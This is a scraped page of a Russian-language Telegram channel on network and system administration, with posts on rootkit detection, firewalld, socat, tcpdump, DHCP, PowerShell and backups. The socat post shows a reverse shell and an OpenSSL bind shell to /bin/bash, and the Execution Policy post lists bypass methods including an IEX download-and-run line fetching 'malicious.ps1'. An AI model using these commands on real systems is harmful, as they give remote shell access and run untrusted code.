NetworkAdmin.ru – Telegram
NetworkAdmin.ru
4.75K subscribers
226 photos
25 videos
2 files
499 links
Авторский блог про сетевое и системное администрирование.

Сайт: networkadmin.ru
Реклама: @dad_admin
Биржа: https://telega.in/c/networkadminru
Download Telegram
🔹 Скрытие процессов в Linux: как работают rootkits и методы обнаружения

Rootkits - вредоносные программы, которые маскируют своё присутствие в системе. Они могут скрывать файлы, процессы и сетевые соединения, подменять команды и даже обходить антивирусные проверки.

▪️ Как rootkits скрывают процессы?

1. Подмена системных вызовов (syscalls). Rootkits перехватывают вызовы getdents(), readdir(), ps, top, скрывая нужные процессы.
2. Изменение ядра (Kernel Mode Rootkits). Загружаются как модули ядра (.ko файлы) и модифицируют функции ядра, скрывая свою активность.
3. Хук системы /proc. Подменяют содержимое /proc/[PID], скрывая процесс от стандартных утилит.
4. Использование LD_PRELOAD. Библиотеки динамической подгрузки подменяют поведение системных команд без изменения ядра.


▪️ Как обнаружить скрытые процессы?

1️⃣ Проверка /proc вручную


ls -al /proc | grep -vE "^[d-]r--r--r--"


Если процесс не виден стандартными командами (ps aux, top), но есть его директория в /proc — это подозрительно.

2️⃣ Сравнение выводов разных утилит


ps aux | wc -l && ls /proc | grep -E '^[0-9]+$' | wc -l


Числа должны совпадать. Если в /proc больше процессов, чем показывает ps, возможно, система заражена.

3️⃣ Использование утилиты chkrootkit


chkrootkit | grep INFECTED


Простая проверка на известные rootkits.

4️⃣ Использование rkhunter


rkhunter --check


Проверяет системные файлы на несанкционированные изменения.

5️⃣ Анализ ядра и загруженных модулей


lsmod | grep -i rootkit


Некоторые rootkits могут маскироваться, но подозрительные модули можно выявить через lsmod.

▪️ Как защититься?

Использовать SELinux/AppArmor для ограничения доступа к системным ресурсам.
Регулярно проверять целостность файлов (aide, tripwire).
Зарпетить загрузку новых модулей ядра (echo 1 > /proc/sys/kernel/modules_disabled).
Следить за сетевой активностью (netstat -tulnp | grep LISTEN).
Использовать Linux-утилиты безопасности (auditd, Sysmon for Linux).

#linux #security

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19
✔️ Изменение приоритета процессов в Windows через PowerShell

В Windows можно динамически изменять приоритет процессов, чтобы управлять их загрузкой CPU. Например, если какое-то приложение перегружает систему, можно снизить его приоритет, а важные задачи, наоборот, ускорить.

▪️ Просмотр приоритетов процессов. Чтобы увидеть текущие приоритеты всех запущенных процессов, выполните команду:


Get-WmiObject Win32_Process | Select-Object Name, ProcessId, Priority | Sort-Object Priority -Descending


Приоритет отображается числом:

256 - Реального времени (RealTime)
128 - Высокий (High)
32 - Выше нормального (AboveNormal)
8 - Обычный (Normal)
4 - Ниже нормального (BelowNormal)
1 - Фоновый (Idle)


▪️ Изменение приоритета процесса. Допустим, нужно повысить приоритет процесса notepad.exe до Высокого (High):


(Get-Process notepad).PriorityClass = "High"


Если процессу нужно снизить нагрузку, например, до Ниже нормального (BelowNormal):


(Get-Process notepad).PriorityClass = "BelowNormal"


▪️ Изменение приоритета по PID. Если у вас есть идентификатор процесса (PID), можно изменить его приоритет напрямую:


(Get-Process -Id 1234).PriorityClass = "AboveNormal"


▪️ Автоматическое изменение приоритета. Можно настроить PowerShell-скрипт, который будет снижать приоритет ресурсоёмких процессов, например chrome.exe:


$processes = Get-Process chrome -ErrorAction SilentlyContinue
if ($processes) {
$processes | ForEach-Object { $_.PriorityClass = "BelowNormal" }
}


Добавьте этот скрипт в Планировщик заданий (Task Scheduler), чтобы он запускался автоматически при старте системы.

▪️ Изменение приоритета через WMI. Если Get-Process не срабатывает, можно использовать WMI:


(Get-WmiObject Win32_Process -Filter "Name='notepad.exe'").SetPriority(128)


Здесь 128 - это High, 8 - Normal, 4 - BelowNormal и т. д.

#windows #processes

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥2👎1
🔵 Использование firewalld вместо iptables: плюсы, минусы и примеры настройки

Firewalld - это альтернатива iptables, используемая в большинстве дистрибутивов Linux (RHEL, CentOS, Fedora). Она предоставляет более гибкий и удобный способ управления правилами файрвола. Разберёмся, чем firewalld лучше (или хуже) iptables и как его настраивать.

Плюсы firewalld

🔹 Динамическая настройка - изменения применяются без перезапуска служб и потери соединений.
🔹 Зональная модель безопасности - можно настроить разные уровни защиты для интерфейсов.
🔹 Поддержка rich rules и сервисов - удобнее управлять сложными правилами.
🔹 Интеграция с D-Bus - позволяет управлять файрволом программно.

Минусы firewalld

🔸 Меньший контроль - iptables даёт более низкоуровневый доступ к правилам.
🔸 Сложнее отладки - из-за зональной модели иногда сложно понять, какие правила срабатывают.
🔸 Привычка к iptables - многим администраторам привычнее классическая iptables.

▪️ Примеры настройки firewalld

1️⃣ Открываем порт. Открываем порт 80 для HTTP:


sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --reload


2️⃣ Закрываем порт. Закрываем порт 22 (SSH):


sudo firewall-cmd --permanent --remove-port=22/tcp
sudo firewall-cmd --reload


3️⃣ Добавляем сервис. Firewalld поддерживает предопределённые сервисы. Например, открываем SSH:


sudo firewall-cmd --permanent --add-service=ssh
sudo firewall-cmd --reload


Посмотреть список доступных сервисов можно так:


firewall-cmd --get-services


4️⃣ Используем зоны безопасности. Firewalld использует зоны для управления трафиком. Например, перемещаем интерфейс eth0 в зону "public":


sudo firewall-cmd --permanent --zone=public --change-interface=eth0
sudo firewall-cmd --reload


Посмотреть текущую зону интерфейса:


firewall-cmd --get-active-zones


5️⃣ Создаём кастомное правило. Блокируем весь трафик с IP 192.168.1.100:


sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.100" drop'
sudo firewall-cmd --reload


6️⃣ Временные правила. Можно временно открыть порт (например, на 5 минут):


sudo firewall-cmd --add-port=8080/tcp --timeout=300


После истечения времени правило удалится автоматически.

▪️ Конвертация iptables в firewalld. Если у вас уже настроен iptables, можно конвертировать его правила в формат firewalld:


iptables-save > rules.v4
iptables-restore < rules.v4


Затем вручную перенести правила в firewalld, используя firewall-cmd.

#linux #network

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10👎1
Вы не понимаете, это другое

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
😁42😢1
🌐 Использование socat вместо netcat для сложных сценариев маршрутизации трафика

Если netcat - это "швейцарский нож" для работы с сетевыми соединениями, то socat - это полноценный "многофункциональный комбайн". Он поддерживает не только TCP и UDP, но и взаимодействие с файлами, сокетами, сериал-портами, TTY, OpenSSL, прокси и многим другим.

Сегодня про то, чем socat круче netcat и как его использовать в продвинутых сценариях.

Преимущества socat перед netcat:

🔹 Поддержка различных типов соединений: TCP, UDP, UNIX-сокеты, файлы, прокси, TTY и др.
🔹 Позволяет делать прокси между разными протоколами.
🔹 Работает с шифрованными соединениями (SSL/TLS).
🔹 Может проксировать соединения через сокеты и туннелировать трафик.
🔹 Гибкость и мощь в одном инструменте.

▪️ Примеры использования socat

1️⃣ Простой TCP-сервер и клиент. Запускаем сервер, который слушает порт 1234:


socat TCP-LISTEN:1234,fork EXEC:/bin/cat


Подключаемся к нему с клиента:


socat - TCP:localhost:1234


Теперь всё, что вводится с клиента, будет отправляться на сервер и обратно.

2️⃣ Прокси TCP-трафика. Пробрасываем все входящие соединения с порта 8080 на 192.168.1.10:9090:


socat TCP-LISTEN:8080,fork TCP:192.168.1.10:9090


Это удобно для организации локального реверс-прокси или переадресации портов.

3️⃣ Реверс-шелл через socat. Открываем обратное соединение с атакующего сервера:


socat TCP:192.168.1.100:4444 EXEC:/bin/bash


На атакующем сервере слушаем соединение:


socat TCP-LISTEN:4444,fork STDOUT


Теперь можно управлять удаленным сервером через shell.

4️⃣ Шифрованное соединение через OpenSSL. Поднимаем зашифрованный сервер:


socat OPENSSL-LISTEN:8443,reuseaddr,cert=server.pem,verify=0 SYSTEM:/bin/bash


Подключаемся к нему с клиента:


socat OPENSSL:192.168.1.10:8443,verify=0 STDOUT


Это полезно, когда нужно создать зашифрованный туннель без сложных VPN.

5️⃣ Перенаправление ввода/вывода в UNIX-сокет. Создаём UNIX-сокет и привязываем его к Bash:


socat UNIX-LISTEN:/tmp/mysocket STDOUT


Подключаемся к нему с другого терминала:


socat - UNIX:/tmp/mysocket


Теперь можно передавать команды и файлы через сокеты.

#linux #network

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15
🗯 Отслеживание изменений в файлах и реестре Windows

Мониторинг изменений в файловой системе и реестре - важная часть безопасности и диагностики в Windows. PowerShell позволяет отслеживать эти изменения в реальном времени без установки стороннего ПО.

▪️ Мониторинг изменений в файлах. Чтобы следить за изменениями в каталоге, можно использовать System.IO.FileSystemWatcher:


$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "C:\Users\Public\Documents" # Указываем каталог для мониторинга
$watcher.IncludeSubdirectories = $true # Следить за подпапками
$watcher.EnableRaisingEvents = $true

$action = {
$event = $Event.SourceEventArgs
Write-Host "$(Get-Date) | Файл: $($event.FullPath) | Действие: $($event.ChangeType)"
}

Register-ObjectEvent $watcher "Changed" -Action $action
Register-ObjectEvent $watcher "Created" -Action $action
Register-ObjectEvent $watcher "Deleted" -Action $action
Register-ObjectEvent $watcher "Renamed" -Action $action

Write-Host "Мониторинг запущен. Для остановки нажмите Ctrl+C"


Этот скрипт отслеживает изменения, создание, удаление и переименование файлов в указанной папке.

▪️ Мониторинг изменений в реестре. Для мониторинга реестра используется Register-WMIEvent:


Register-WMIEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_RegistryKey' AND TargetInstance.Name LIKE 'HKEY_LOCAL_MACHINE\\SOFTWARE\\MyApp%'" -Action {
Write-Host "$(Get-Date) | Изменение в реестре: $($Event.SourceEventArgs.NewEvent.TargetInstance.Name)"
}


Этот скрипт проверяет изменения в разделе HKEY_LOCAL_MACHINE\SOFTWARE\MyApp каждую секунду.

⚙️ Готовые инструменты на базе PowerShell. Если нужен постоянный мониторинг, можно использовать:

🔹 Sysmon + PowerShell - логирование через Windows Event Log
🔹 PowerShell DSC (Desired State Configuration) - для отслеживания изменений в конфигурации

#windows #security

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19
☄️ Важное обновление!

В WinRar добавили темную тему.

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
😁26👍12🍾6🔥5
🔎 Как работают Honeyports и ловушки для сканеров

Сканирование портов - стандартный инструмент для разведки, используемый как администраторами, так и злоумышленниками. Honeyports - это техника создания ловушек для сканеров, позволяющая выявлять потенциальные угрозы и даже блокировать их.

Что такое Honeyport?

Honeyport - это фейковый открытый порт, который выглядит для злоумышленника как настоящая служба. Однако при попытке взаимодействия с ним можно:

🔹 Логировать IP-адрес атакующего
🔹 Ограничивать или блокировать доступ через файрвол
🔹 Перенаправлять атакующего в песочницу

📱 Как настроить Honeyport в Linux с использованием netcat. Простейший honeyport можно создать с помощью netcat:


nc -lvp 8080 | tee -a /var/log/honeyport.log


Теперь при подключении к порту 8080 все введенные данные будут записываться в лог.
Если добавить автоматическую блокировку через iptables:


nc -lvp 8080 | while read line; do iptables -A INPUT -s $(echo $SSH_CLIENT | awk '{print $1}') -j DROP; done


Это заблокирует IP атакующего после первой попытки взаимодействия.

😥 Honeyports в Windows с PowerShell. В Windows можно создать honeyport и блокировать IP-адрес злоумышленника с помощью PowerShell:


$port = 3389
while ($true) {
$listener = [System.Net.Sockets.TcpListener]$port
$listener.Start()
$client = $listener.AcceptTcpClient()
$ip = $client.Client.RemoteEndPoint.Address.IPAddressToString
Write-Host "Атакующий: $ip"
New-NetFirewallRule -DisplayName "Block $ip" -Direction Inbound -RemoteAddress $ip -Action Block
$listener.Stop()
}


Этот скрипт создает ловушку на 3389 порту (RDP) и автоматически блокирует.

▪️ Готовые решения для honeypots. Для более продвинутых сценариев можно использовать:

🔹 Cowrie - эмуляция SSH/Telnet с записью действий атакующего
🔹 Dionaea - имитация уязвимых сервисов
🔹 Kippo - honeypot для SSH

#linux #windows #security

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17
🖥 Мониторинг сети с помощью BPF и tcpdump: продвинутый анализ трафика

При анализе сетевого трафика в Linux часто используют tcpdump, но его мощь раскрывается по-настоящему при использовании Berkeley Packet Filter (BPF). BPF позволяет фильтровать пакеты на уровне ядра, отбрасывая ненужные и снижая нагрузку на систему.

▪️ Основные принципы работы

BPF действует как программируемый фильтр, который определяет, какие пакеты должны быть обработаны и переданы в tcpdump. Это ускоряет анализ и снижает нагрузку на CPU.

▪️ Использование BPF в tcpdump

⭐️ Фильтрация по IP-адресу


tcpdump -i eth0 'host 192.168.1.100'


Перехватывает трафик, где участвует 192.168.1.100.

⭐️ Фильтрация по порту


tcpdump -i eth0 'port 443'


Выводит только HTTPS-трафик.

⭐️ Фильтрация по протоколу


tcpdump -i eth0 'tcp'


Отбирает только TCP-пакеты.

⭐️ Фильтрация по флагам TCP. Например, вывод только SYN-пакетов:


tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'


Полезно для анализа попыток соединения.

⭐️ Анализ пакетов в hex-формате


tcpdump -i eth0 -X 'host 10.0.0.1'


Показывает содержимое пакетов в удобном виде.

⭐️ Создание сложных фильтров. Можно комбинировать фильтры, например, анализировать только HTTP-запросы от конкретного IP:


tcpdump -i eth0 'tcp and port 80 and src host 192.168.1.10'


#linux #network

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13
⬇️ Быстрый анализ занятого места на диске в Linux

Когда нужно быстро определить, кто и где занимает больше всего места на диске, есть несколько удобных способов. Делюсь тремя вариантами, которые использую сам:

1️⃣ Ncdu – удобный интерфейс. Программа ncdu (NCurses Disk Usage) позволяет наглядно и удобно просматривать размер директорий. Она есть в репозиториях большинства дистрибутивов:


# apt install ncdu # Для Debian/Ubuntu
# yum install ncdu # Для CentOS/RHEL
# pacman -S ncdu # Для Arch Linux


Запустить можно командой ncdu /, после чего появится интерфейс, в котором легко перемещаться по папкам. Удобно, если приходится часто мониторить дисковое пространство.

2️⃣ Midnight Commander – быстрое сравнение размеров. Если у вас установлен MC, можно быстро оценить размер нескольких папок. Просто выделите их и нажмите Ctrl + Пробел. Midnight Commander ставлю на все серверы, так что этот способ использую постоянно.

3️⃣ du + sort – консольный анализ. Стандартная команда du отлично подходит для анализа дискового пространства:


du -hs * | sort -hr | head -10


Этот однострочник покажет 10 самых "тяжелых" директорий в текущем каталоге.
Если нужно логировать результаты, можно использовать скрипт:


#!/bin/bash

echo "==================================" >> dir_size.txt
echo "Dirs size $(date +"%Y-%m-%d_%H-%M")" >> dir_size.txt
echo "==================================" >> dir_size.txt
du -hs * | sort -hr | head -10 >> dir_size.txt


Так можно отслеживать изменения занятого места во времени.

#linux #storage

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15
Показалось…Наверное…🙂

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
😁18👍4🤔1🤡1
✍️ Как работает DHCP и почему его стоит изучить глубже

DHCP (Dynamic Host Configuration Protocol) - один из самых базовых сетевых протоколов, который знаком любому администратору. Однако, если его не изучать специально, можно упускать важные нюансы.

🔵 Широковещательный домен

Клиент отправляет запрос на получение настроек широковещательно, поэтому сервер должен находиться в том же широковещательном домене. Если сеть сегментирована, то используется DHCP Relay, который пересылает запросы между сегментами.

🔵 Порты DHCP

Сервер слушает на UDP 67
Клиент принимает ответы на UDP 68

🔵 Что раздает DHCP-сервер

Помимо IP-адреса, маски и шлюза, сервер может передавать множество параметров:

DNS-серверы
Статические маршруты
Адрес TFTP-сервера (например, для PXE-загрузки)
MTU, часовой пояс, список NTP-серверов и многое другое

🔵 Механизм аренды IP-адресов

Когда клиент получает IP-адрес, он арендует его на определенное время.
По истечении половины аренды клиент пытается продлить ее
Если продление не удалось, адрес остается в использовании до конца аренды
После истечения аренды клиент снова ищет сервер для получения нового IP

🔵 Назначение IP-адресов клиентам. DHCP-сервер может назначать адреса:

По MAC-адресу
По ClientID (Machine-ID), который в ряде случаев имеет приоритет

🔵 Последовательность обмена DHCP-сообщениями

1️⃣ DHCPDISCOVER – клиент ищет DHCP-сервер
2️⃣ DHCPOFFER – сервер предлагает параметры
3️⃣ DHCPREQUEST – клиент выбирает и запрашивает конфигурацию
4️⃣ DHCPACK – сервер подтверждает выделенный IP

🔵 Конфликты IP-адресов

DHCP-сервер не гарантирует, что в сети не будет конфликтов IP-адресов. Он может проверять доступность IP перед выдачей, но это не исключает коллизий.

⭐️ DHCP Snooping – защита от «левых» DHCP-серверов

Иногда в сети появляется «нелегальный» DHCP-сервер. Например, сотрудник подключает свой домашний роутер к офисной сети, и часть клиентов начинает получать IP-адреса от него. В результате доступ в сеть ломается.

Решить проблему помогает DHCP Snooping - механизм защиты на уровне коммутаторов:

Коммутатор фильтрует DHCP-трафик и отбрасывает запросы с неавторизованных портов
DHCP-серверы доверяются только на определенных портах
Это предотвращает работу поддельных DHCP-серверов в сети

#network #DHCP

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19🔥2
Не мы такие, жизнь такая 😐

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16😁6😢2
🖨️ Windows сама меняет принтер по умолчанию? Исправляем!

Начиная с Windows 10 1511, Microsoft изменила логику выбора принтера по умолчанию. Теперь система автоматически назначает последний использованный принтер в текущем местоположении.

Разбираемся, как отключить автоназначение принтера в Windows. Запретить системе менять принтер по умолчанию несколькими способами:

1️⃣ Через параметры Windows:

Отключите опцию «Let Windows manage my default printer» в Настройки → Устройства → Принтеры и сканеры.

2️⃣ Через реестр: Выполните команду:


REG ADD "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v LegacyDefaultPrinterMode /t REG_DWORD /d 1 /f


3️⃣ Через групповую политику (GPO):

Настройте параметр «Turn off Windows default printer management» в разделе:

User Configuration → Administrative Templates → Control Panel → Printers

После применения настроек Windows больше не будет менять принтер автоматически

#windows #printers

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🤡3🔥1
Forwarded from Network Quiz
"Network Quiz" - канал с ежедневными квизами по сетям.

Выберите из списка публичный IP-адрес:
Anonymous Quiz
👍10👎10😱53🔥2
😄 Автоматизация резервного копирования логов в Linux: rsync

rsync - это инструмент для синхронизации файлов и каталогов. Пример команды для копирования логов на удалённый сервер:


rsync -avz --delete /var/log/ user@backup-server:/backup/logs/


-a - архивный режим (сохраняет права и атрибуты)
-v – показывает процесс копирования
-z – сжатие данных при передаче
--delete – удаляет на резервном сервере файлы, которых нет в исходной папке

▪️Для копирования по SSH без пароля можно создать ключи:


ssh-keygen -t rsa
ssh-copy-id user@backup-server


▪️ Автоматизация через cron. Чтобы rsync запускался автоматически, добавим задание в cron:


crontab -e


Пример задания для ежедневного копирования логов в 3 часа ночи:


0 3 * * * rsync -avz --delete /var/log/ user@backup-server:/backup/logs/


▪️ Проверка и мониторинг. Можно добавить запись в лог при успешном выполнении:


0 3 * * * rsync -avz --delete /var/log/ user@backup-server:/backup/logs/ >> /var/log/backup.log 2>&1


Проверить, срабатывает ли задача, можно командой:


grep rsync /var/log/syslog


#linux #backup

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍163
😢 Обход ограничений Execution Policy в Windows: способы и риски

PowerShell в Windows использует Execution Policy для защиты от запуска неподписанных или вредоносных скриптов. Однако часто возникает ситуация, когда необходимо обойти эти ограничения. Разберём популярные способы.

1️⃣ Запуск с параметром -ExecutionPolicy Bypass. Самый простой способ временно отключить политику выполнения:


powershell -ExecutionPolicy Bypass -File noscript.ps1


Позволяет запустить скрипт без изменения системных настроек.

2️⃣ Изменение политики выполнения. Можно явно разрешить выполнение скриптов:


Set-ExecutionPolicy Unrestricted -Scope Process


⚠️ Работает только в текущем сеансе PowerShell.

3️⃣ Выполнение через powershell -Command. Позволяет выполнять код без изменения политики:


powershell -Command "Start-Process notepad.exe"


Хорошо подходит для разового выполнения команд.

4️⃣ Использование IEX (Invoke-Expression). Позволяет загружать и выполнять код из строки или сети:


IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')


Удобно для удалённого выполнения команд.

5️⃣ Изменение реестра. Политику можно изменить через реестр:


Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name ExecutionPolicy -Value Unrestricted


Даёт постоянный эффект.

6️⃣ Использование PowerShell.dll. Можно загрузить PowerShell как библиотеку в обход стандартного механизма запуска:


System.Management.Automation.PowerShell.Create().AddScript("Start-Process calc.exe").Invoke();


Подходит для внедрения в программы.

#windows #noscripts

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14
Как узнать, кто активно использует swap в Linux?

1️⃣ Проверка через top. В top по умолчанию нет колонки с использованием swap, но её можно включить:

1. Откройте top
2. Нажмите f, затем выберите Swap (s)
3. Подтвердите q - появится колонка с потреблением swap

Однако top не всегда корректно отображает эти данные, поэтому в htop колонку со swap вовсе убрали, чтобы не вводить пользователей в заблуждение.

2️⃣ Точный способ через /proc. Более надёжный способ – заглянуть в файлы /proc/$PID/smaps или /proc/$PID/status:

/proc/$PID/smaps – самый точный, но требует сложных вычислений
/proc/$PID/status – содержит суммарное значение в поле VmSwap, удобнее для быстрого анализа

✏️ Bash-скрипт для проверки. Можно использовать простой скрипт, который покажет, какие процессы активно используют swap:


#!/bin/bash
SUM=0
OVERALL=0
for DIR in $(find /proc/ -maxdepth 1 -type d -regex "^/proc/[0-9]+"); do
PID=$(basename $DIR)
PROGNAME=$(ps -p $PID -o comm --no-headers)
for SWAP in $(grep VmSwap $DIR/status 2>/dev/null | awk '{ print $2 }'); do
let SUM=$SUM+$SWAP
done
if (( $SUM > 0 )); then
echo "PID=$PID swapped $SUM KB ($PROGNAME)"
fi
let OVERALL=$OVERALL+$SUM
SUM=0
done
echo "Overall swap used: $OVERALL KB"


Этот скрипт проверяет VmSwap для каждого процесса и выводит общий объём использованного swap.

🌟 Быстрая проверка в одну команду. Если нет желания писать скрипты, можно просто выполнить:


for file in /proc/*/status; do
awk '/VmSwap|Name/{printf $2 " " $3} END { print ""}' $file
done | sort -k 2 -n -r | less


Эта команда отобразит процессы, отсортированные по объёму используемого swap.

#linux #swap #monitoring

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍104
✉️ Бэкап почты через imap-backup: сохраняем письма локально

imap-backup - удобный инструмент для скачивания писем из любого IMAP ящика и сохранения их локально в формате mbox.

▪️ Когда это может пригодиться?

Перенос почты: например, если нужно забрать письма из облачного сервиса.
Архивирование старых писем: можно скачать только письма за последние 3 года (или другой период) и хранить их локально.
Бэкап на случай утери доступа к облачным ящикам.


▪️ Установка imap-backup. Программа написана на Ruby, так что проще всего установить её через gem:


apt install rubygems -y
gem install imap-backup


▪️ Настройка. После установки можно выполнить первоначальную настройку через команду:


imap-backup setup


Или создать конфиг вручную (~/.imap-backup/config.json). Пример для Яндекса:


{
"version": "2.0",
"accounts": [
{
"username": "zabbix@networkadmin.ru",
"password": "pass",
"local_path": "/root/.imap-backup/zabbix_networkadmin.ru",
"folders": [],
"server": "imap.yandex.ru"
}
]
}


⚠️ Для доступа по IMAP в настройках почтового ящика нужно создать пароль для приложения.

▪️ Как это работает?

imap-backup скачивает письма в отдельный каталог.
Каждая IMAP-папка - это отдельный файл mbox.
Формат mbox можно легко открыть в Thunderbird с помощью ImportExportTools NG.

#backup #email

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18
Это была непростая задача, но он справился 😏

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
😁21🔥19👍2🤡2
👤 Добавление фото пользователя в Active Directory

В Active Directory можно хранить фото пользователей, которое затем отображается в Outlook, Word, Excel, Lync, SharePoint и даже используется в качестве аватарки в Windows.

💡 Фото хранится прямо в AD, поэтому не стоит загружать слишком большие изображения, чтобы избежать лишней нагрузки на каталог.

📌 Рекомендуемый размер - 96x96 пикселей, до 10 Кб.

▪️ Как загрузить фото в AD через PowerShell? Используем командлет Set-ADUser:


$photo = [byte[]](Get-Content C:\PS\admin_photo.jpg -Encoding byte)
Set-ADUser vvkuzmin -Replace @{thumbnailPhoto=$photo}


Теперь фото появится в поддерживаемых приложениях и в системе.

#windows #activedirectory

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13